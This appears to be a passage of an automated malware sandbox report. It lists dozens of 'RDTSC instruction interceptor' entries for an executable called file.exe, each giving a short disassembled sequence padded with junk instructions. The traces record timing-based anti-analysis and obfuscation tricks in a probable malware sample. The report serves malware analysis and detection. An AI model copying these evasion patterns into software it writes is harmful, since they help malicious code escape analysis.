Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6926 second address: 11E692A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E692A second address: 11E6941 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jnc 00007FE620D482DCh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6941 second address: 11E6959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620F50F8Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6959 second address: 11E695D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6ADD second address: 11E6AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620F50F94h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF030 second address: 11EF069 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FE620D482DEh 0x0000000a jbe 00007FE620D482D6h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jmp 00007FE620D482E5h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF069 second address: 11EF070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF070 second address: 11EF076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF30E second address: 11EF318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE620F50F86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF318 second address: 11EF32F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF32F second address: 11EF339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF68F second address: 11EF693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4949 second address: 11F494F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F494F second address: 11F4953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F52A7 second address: 11F52B7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE620F50F8Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F52B7 second address: 11F52CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F555D second address: 11F5561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5561 second address: 11F5573 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE620D482D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FE620D482D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F454E second address: 11F4554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4554 second address: 11F455B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F455B second address: 11F4564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1B7F second address: 11B1B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE620D482DAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2096 second address: 11B20B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620F50F98h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B20B3 second address: FFB93C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE620D482D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jnp 00007FE620D482D8h 0x00000015 push dword ptr [ebp+122D0F4Dh] 0x0000001b mov dword ptr [ebp+122D310Dh], edi 0x00000021 call dword ptr [ebp+122D188Fh] 0x00000027 pushad 0x00000028 jne 00007FE620D482D7h 0x0000002e xor eax, eax 0x00000030 jp 00007FE620D482EEh 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a cmc 0x0000003b jmp 00007FE620D482DCh 0x00000040 mov dword ptr [ebp+122D2B56h], eax 0x00000046 sub dword ptr [ebp+122D18E1h], eax 0x0000004c jnc 00007FE620D482DCh 0x00000052 mov esi, 0000003Ch 0x00000057 jmp 00007FE620D482DBh 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 jl 00007FE620D482D7h 0x00000066 cmc 0x00000067 lodsw 0x00000069 clc 0x0000006a add eax, dword ptr [esp+24h] 0x0000006e jo 00007FE620D482D7h 0x00000074 cmc 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 jne 00007FE620D482DDh 0x0000007f nop 0x00000080 pushad 0x00000081 pushad 0x00000082 jo 00007FE620D482D6h 0x00000088 jmp 00007FE620D482E9h 0x0000008d popad 0x0000008e jne 00007FE620D482D8h 0x00000094 popad 0x00000095 push eax 0x00000096 push ecx 0x00000097 push eax 0x00000098 push edx 0x00000099 jg 00007FE620D482D6h 0x0000009f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B21C0 second address: 11B21C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B21C4 second address: 11B21E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE620D482E9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B21E9 second address: 11B21EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B23E2 second address: 11B23F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jng 00007FE620D482E0h 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2483 second address: 11B24B5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 mov cx, 5585h 0x0000000d nop 0x0000000e pushad 0x0000000f pushad 0x00000010 jns 00007FE620F50F86h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 jmp 00007FE620F50F92h 0x0000001e popad 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push edx 0x00000024 pop edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B26F4 second address: 11B26F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2C45 second address: 11B2C49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2C49 second address: 11B2C53 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2C53 second address: 11B2C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2C57 second address: 11B2CCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FE620D482D8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 call 00007FE620D482E0h 0x00000029 jmp 00007FE620D482E9h 0x0000002e pop edx 0x0000002f mov edi, dword ptr [ebp+122D2B32h] 0x00000035 push 0000001Eh 0x00000037 push ecx 0x00000038 add dword ptr [ebp+122D304Eh], ebx 0x0000003e pop edx 0x0000003f nop 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FE620D482E1h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2CCE second address: 11B2CFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 jmp 00007FE620F50F91h 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2CFF second address: 11B2D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2E23 second address: 11B2E3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FE620F50F86h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2FF5 second address: 11B3037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push ecx 0x00000008 jmp 00007FE620D482E7h 0x0000000d pop ecx 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jnl 00007FE620D482D8h 0x00000019 push edi 0x0000001a push eax 0x0000001b pop eax 0x0000001c pop edi 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 pushad 0x00000021 js 00007FE620D482D8h 0x00000027 push edx 0x00000028 pop edx 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B313C second address: 11B31B8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE620F50F88h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jng 00007FE620F50F8Ch 0x00000012 jl 00007FE620F50F86h 0x00000018 push esi 0x00000019 jmp 00007FE620F50F8Ah 0x0000001e pop esi 0x0000001f popad 0x00000020 nop 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007FE620F50F88h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b lea eax, dword ptr [ebp+1248993Ah] 0x00000041 push 00000000h 0x00000043 push ebp 0x00000044 call 00007FE620F50F88h 0x00000049 pop ebp 0x0000004a mov dword ptr [esp+04h], ebp 0x0000004e add dword ptr [esp+04h], 0000001Ah 0x00000056 inc ebp 0x00000057 push ebp 0x00000058 ret 0x00000059 pop ebp 0x0000005a ret 0x0000005b mov edi, dword ptr [ebp+122D2B8Ah] 0x00000061 nop 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 jg 00007FE620F50F86h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B31B8 second address: 11B3226 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE620D482D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jg 00007FE620D482D6h 0x00000011 pop esi 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 jne 00007FE620D482EEh 0x0000001b jmp 00007FE620D482E9h 0x00000020 popad 0x00000021 nop 0x00000022 cmc 0x00000023 mov edi, edx 0x00000025 lea eax, dword ptr [ebp+124898F6h] 0x0000002b mov edi, 08E923A1h 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push edi 0x00000034 jmp 00007FE620D482DDh 0x00000039 pop edi 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3226 second address: 11B322C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAA7C second address: 11FAA80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAA80 second address: 11FAA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FE620F50F8Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAC05 second address: 11FAC0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAC0B second address: 11FAC27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620F50F98h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAD74 second address: 11FAD7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF98E second address: 11FF9BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE620F50F86h 0x0000000a pop ebx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d jnl 00007FE620F50F99h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jne 00007FE620F50F86h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF9BE second address: 11FF9C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202C03 second address: 1202C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007FE620F50F95h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120257C second address: 1202582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202582 second address: 1202596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 jmp 00007FE620F50F8Ah 0x0000000b pop edx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12026F7 second address: 12026FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120284B second address: 1202868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620F50F97h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202868 second address: 120286E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204D72 second address: 1204D8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FE620F50F86h 0x00000009 jns 00007FE620F50F86h 0x0000000f jns 00007FE620F50F86h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209217 second address: 120921B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120921B second address: 1209221 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209221 second address: 1209248 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FE620D482F4h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120960D second address: 1209611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209611 second address: 120963B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jne 00007FE620D482DEh 0x0000000f push ecx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE620D482DDh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120978A second address: 120978E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CDFA second address: 120CE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CE00 second address: 120CE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jo 00007FE620F50F86h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CE0C second address: 120CE12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CE12 second address: 120CE46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FE620F50F93h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FE620F50F95h 0x00000017 jmp 00007FE620F50F8Fh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CB1E second address: 120CB3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CB3A second address: 120CB3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CB3F second address: 120CB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnl 00007FE620D482D6h 0x0000000c popad 0x0000000d push ebx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop ebx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007FE620D482DEh 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d js 00007FE620D482D6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212BEB second address: 1212C09 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE620F50F88h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FE620F50F8Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212C09 second address: 1212C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211597 second address: 12115A3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE620F50F86h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12116FD second address: 121170D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620D482DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121170D second address: 1211711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211B1C second address: 1211B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2AAC second address: 11B2AB6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE620F50F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2AB6 second address: 11B2B1F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE620D482DCh 0x00000008 jne 00007FE620D482D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ecx 0x00000012 jno 00007FE620D482DCh 0x00000018 pop ecx 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007FE620D482D8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 adc edx, 7F142CFBh 0x0000003a push 00000004h 0x0000003c call 00007FE620D482DFh 0x00000041 push edx 0x00000042 mov dword ptr [ebp+122D1B6Fh], ecx 0x00000048 pop ecx 0x00000049 pop ecx 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jo 00007FE620D482D8h 0x00000053 pushad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2B1F second address: 11B2B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211F5F second address: 1211F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211F66 second address: 1211F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211F6E second address: 1211F73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211F73 second address: 1211F82 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007FE620F50F86h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B38D second address: 121B391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B391 second address: 121B395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B395 second address: 121B3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FE620D482D6h 0x0000000e rdtsc
